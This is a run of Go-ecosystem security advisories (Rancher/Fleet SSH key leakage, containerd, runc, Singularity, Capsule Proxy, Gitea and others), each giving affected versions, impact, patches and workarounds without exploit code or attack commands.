A security vulnerability ([CVE-2022-29810](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-29810)) was discovered in `go-getter` library in versions prior to [`v1.5.11`](https://github.com/hashicorp/go-getter/releases/tag/v1.5.11) that exposes SSH private keys in base64 format due to a failure in redacting such information from error messages. The vulnerable version of this library is used in Rancher through Fleet in versions of Fleet prior to [`v0.3.9`](https://github.com/rancher/fleet/releases/tag/v0.3.9). This issue affects Rancher versions 2.5.0 up to and including 2.5.12 and from 2.6.0 up to and including 2.6.3.

When Git and/or Helm authentication is configured in [Fleet](https://rancher.com/docs/rancher/v2.6/en/deploy-across-clusters/fleet/) and Fleet is used to deploy a git repo through `Continuous Delivery`, the affected `go-getter` version will expose the configured SSH private key secret if Fleet fails to download the git repo due to a misconfigured URL. The exposed SSH key is logged in base64 format as a query parameter together with the git URL. The credentials can be seen in Rancher UI and in Fleet's deployment pod logs.

### Patches
Patched versions include releases 2.5.13, 2.6.4 and later versions.

### Workarounds
There is not a direct mitigation besides upgrading to the patched Rancher versions. Until you are able to upgrade, limit access in Rancher to trusted users and carefully validate the URLs you are using are correct. Please note that the SSH key might still be compromised in valid URLs if the service goes down or a connection error happens when pulling from the repos.

**Note:** If you believe that SSH keys might have been exposed in your environment, it's highly advised to rotate them.

### Credits
This issue was found and reported by Dagan Henderson from Raft Engineering.

### For more information
If you have any questions or comments about this advisory:
* Reach out to [SUSE Rancher Security team](https://github.com/rancher/rancher/security/policy) for security related inquiries.
* Open an issue in [Rancher](https://github.com/rancher/rancher/issues/new/choose) repository.
* Verify our [support matrix](https://www.suse.com/suse-rancher/support-matrix/all-supported-versions/) and [product support lifecycle](https://www.suse.com/lifecycle/).
Vulnerability: GO-2021-0113
Aliases: CVE-2021-38561
Published: 2021-10-06T12:00:00Z

Due to improper index calculation, an incorrectly formatted language tag can cause Parse
to panic, due to an out of bounds read. If Parse is used to process untrusted user inputs,
this may be used as a vector for a denial of service attack.
Vulnerability: GHSA-3wxm-m9m4-cprj
Summary: Import of incorrectly embargoed keys could cause early publication
Severity: MODERATE
Published: 2021-05-21T16:24:44Z

### Impact

If your installation is using the `export-importer` service, there is potential impact.
If your installation is not importing keys via the `export-importer` services, your installation is not impacted.

In versions `0.19.1` and earlier, the `export-importer` service assumed that the server it was importing from had properly embargoed keys for at least 2 hours after their expiry time. There are now known instances of servers that did not properly embargo keys.

This could allow allow for imported keys to be re-published before they have expired, allowing for potential replay of RPIs.

### Patches

This is patched in `v0.18.3` and all versions `0.19.2` and later.

### Workarounds

Ensure that the servers you are importing export zip files from are not publishing keys too early. 

### References

n/a

### For more information

If you have any questions or comments about this advisory
* Open an issue in [exposure-notifications-server](https://github.com/google/exposure-notifications-server/)
* Email us at [exposure-notifications-feedback@google.com](mailto:exposure-notifications-feedback@google.com)
Vulnerability: GO-2021-0056
Aliases: CVE-2020-15216
Published: 2021-04-14T12:00:00Z

Due to the behavior of encoding/xml, a crafted XML document may cause
XML Digital Signature validation to be entirely bypassed, causing an
unsigned document to appear signed.
Vulnerability: GHSA-xm99-6pv5-q363
Summary: OS Command injection in github.com/kardianos/service
Aliases: CVE-2022-29583
Severity: HIGH
CWE: CWE-78
Published: 2022-04-23T00:03:03Z

service_windows.go in the kardianos service package for Go omits quoting that is sometimes needed for execution of a Windows service executable from the intended directory.

The validity of this vulnerability has been [questioned](https://github.com/kardianos/service/pull/290#issuecomment-1109831505) and the reporter has requested that the CVE be [disputed](https://github.com/kardianos/service/issues/289#issuecomment-1110546798).
Vulnerability: GHSA-mvff-h3cj-wj9c
Summary: Unprivileged pod using `hostPath` can side-step active LSM when it is SELinux
Aliases: CVE-2021-43816
Severity: HIGH
CWE: CWE-281
Published: 2022-01-06T17:36:59Z

### Impact

Containers launched through containerd’s CRI implementation on Linux systems which use the SELinux security module and containerd versions since v1.5.0 can cause arbitrary files and directories on the host to be relabeled to match the container process label through the use of specially-configured bind mounts in a hostPath volume. This relabeling elevates permissions for the container, granting full read/write access over the affected files and directories. Kubernetes and crictl can both be configured to use containerd’s CRI implementation.

If you are not using containerd’s CRI implementation (through one of the mechanisms described above), you are not affected by this issue.

### Patches

This bug has been fixed in containerd 1.5.9.  Because file labels persist independently of containerd, users should both update to these versions as soon as they are released and validate that all files on their host are correctly labeled.

### Workarounds

Ensure that no sensitive files or directories are used as a hostPath volume source location.  Policy enforcement mechanisms such a Kubernetes Pod Security Policy [AllowedHostPaths](https://kubernetes.io/docs/concepts/policy/pod-security-policy/#volumes-and-file-systems) may be specified to limit the files and directories that can be bind-mounted to containers.

### For more information

If you have any questions or comments about this advisory:

* Open an issue in [containerd](https://github.com/containerd/containerd/issues/new/choose)
* Email us at [security@containerd.io](mailto:security@containerd.io)
Vulnerability: GHSA-pmfr-63c2-jr5c
Summary: Execution Control List (ECL) Is Insecure in Singularity
Aliases: CVE-2020-13845
Severity: HIGH
CWE: CWE-347, CWE-354
Published: 2021-12-20T18:24:30Z

### Impact

The Singularity Execution Control List (ECL) allows system administrators to set up a policy that defines rules about what signature(s) must be (or must not be) present on a SIF container image for it to be permitted to run.

In Singularity 3.x versions below 3.6.0, the following issues allow the ECL to be bypassed by a malicious user:

 * Image integrity is not validated when an ECL policy is enforced.
 * The fingerprint required by the ECL is compared against the signature object descriptor(s) in the SIF file, rather than to a cryptographically validated signature. Thus, it is trivial to craft an arbitrary payload which will be permitted to run, even if the attacker does not have access to the private key associated with the fingerprint(s) configured in the ECL.

### Patches

These issues are addressed in Singularity 3.6.0.

All users are advised to upgrade to 3.6.0. Note that Singularity 3.6.0 uses a new signature format that is necessarily incompatible with Singularity < 3.6.0 - e.g. Singularity 3.5.3 cannot verify containers signed by 3.6.0.

Version 3.6.0 includes a `legacyinsecure` option that can be set to `legacyinsecure = true` in `ecl.toml` to allow the ECL to perform verification of the older, and insecure, legacy signatures for compatibility with existing containers. This does not guarantee that containers have not been modified since signing, due to other issues in the legacy signature format. The option should be used only to temporarily ease the transition to containers signed with the new 3.6.0 signature format.

### Workarounds

This issue affects any installation of Singularity configured to use the Execution Control List (ECL) functionality. There is no workaround if ECL is required.

### For more information

General questions about the impact of the advisory / changes made in the 3.6.0 release can be asked in the:

* [Singularity Slack Channel](https://bit.ly/2m0g3lX)
* [Singularity Mailing List](https://groups.google.com/a/lbl.gov/forum/??sdf%7Csort:date#!forum/singularity)

Any sensitive security concerns should be directed to: security@sylabs.io

See our Security Policy here: https://sylabs.io/security-policy
Vulnerability: GHSA-9cwv-cppx-mqjm
Summary: Improper Authentication in Capsule Proxy
Aliases: CVE-2022-23652
Severity: HIGH
CWE: CWE-287
Published: 2022-02-23T21:17:25Z

### Impact

Using a malicious `Connection` header, an attacker with a proper authentication mechanism could start a privilege escalation towards the Kubernetes API Server, being able to exploit the `cluster-admin` Role bound to `capsule-proxy`.

### Patches

Patch has been merged in the v0.2.1 release.

### Workarounds

Upgrading is mandatory.
Vulnerability: GHSA-399h-cmvp-qgx5
Summary: Incorrect Default Permissions in Binance tss-lib
Aliases: CVE-2020-12118
Severity: HIGH
CWE: CWE-276
Published: 2021-06-29T21:32:11Z

The keygen protocol implementation in Binance tss-lib before 1.2.0 allows attackers to generate crafted h1 and h2 parameters in order to compromise a signing round or obtain sensitive information from other parties.
Vulnerability: GO-2021-0105
Aliases: CVE-2020-26265
Published: 2021-07-28T12:00:00Z

Due to an incorrect state calculation, a specific set of transactions could cause a consensus disagreement,
causing users of this package to reject a canonical chain.
Vulnerability: GHSA-8h8p-x289-vvqr
Summary: Gitea displaying raw OpenID error in UI
Aliases: CVE-2021-45325
Severity: MODERATE
CWE: CWE-918
Published: 2022-02-09T00:00:29Z

Gitea is a project to help users set up a self-hosted Git service. Server Side Request Forgery (SSRF) vulnerability exists in Gitea before 1.7.0 using the OpenID URL. Gitea can leak sensitive information about the local network through the error provided by the UI.
Vulnerability: GO-2021-0060
Aliases: CVE-2020-29509
Published: 2021-04-14T12:00:00Z

Due to the behavior of encoding/xml, a crafted XML document may cause
XML Digital Signature validation to be entirely bypassed, causing an
unsigned document to appear signed.
Vulnerability: GHSA-fh74-hm69-rqjw
Summary: procfs race condition with a shared volume mount
Aliases: CVE-2019-19921
Severity: MODERATE
CWE: CWE-362
Published: 2021-05-27T18:41:17Z

### Impact
By crafting a malicious root filesystem (with `/proc` being a symlink to a directory which was inside a volume shared with another running container), an attacker in control of both containers can trick `runc` into not correctly configuring the container&amp;amp;amp;amp;#39;s security labels and not correctly masking paths inside `/proc` which contain potentially-sensitive information about the host (or even allow for direct attacks against the host).

In order to exploit this bug, an untrusted user must be able to spawn custom containers with custom mount configurations (such that a volume is shared between two containers). It should be noted that we consider this to be a fairly high level of access for an untrusted user -- and we do not recommend allowing completely untrusted users to have such degrees of access without further restrictions.

### Patches
This vulnerability has been fixed in `1.0.0-rc10`. It should be noted that the current fix is effectively a hot-fix, and there are known ways for it to be worked around (such as making the entire root filesystem a shared volume controlled by another container). We recommend that users review their access policies to ensure that untrusted users do not have such high levels of controls over container mount configuration.

### Workarounds
If you are not providing the ability for untrusted users to configure mountpoints for `runc` (or through a higher-level tool such as `docker run -v`) then you are not vulnerable to this issue. This exploit requires fairly complicated levels of access (which are available for some public clouds but are not necessarily available for all deployments).

Additionally, it appears as though it is not possible to exploit this vulnerability through Docker (due to the order of mounts Docker generates). However you should not depend on this, as it may be possible to work around this roadblock.

### Credits
This vulnerability was discovered by Cure53, as part of a third-party security audit.

### For more information
If you have any questions or comments about this advisory:
* [Open an issue](https://github.com/opencontainers/runc/issues/new).
* Email us at [dev@opencontainers.org](mailto:dev@opencontainers.org), or [security@opencontainers.org](mailto:security@opencontainers.org) if you think you&amp;amp;amp;amp;#39;ve found a security bug.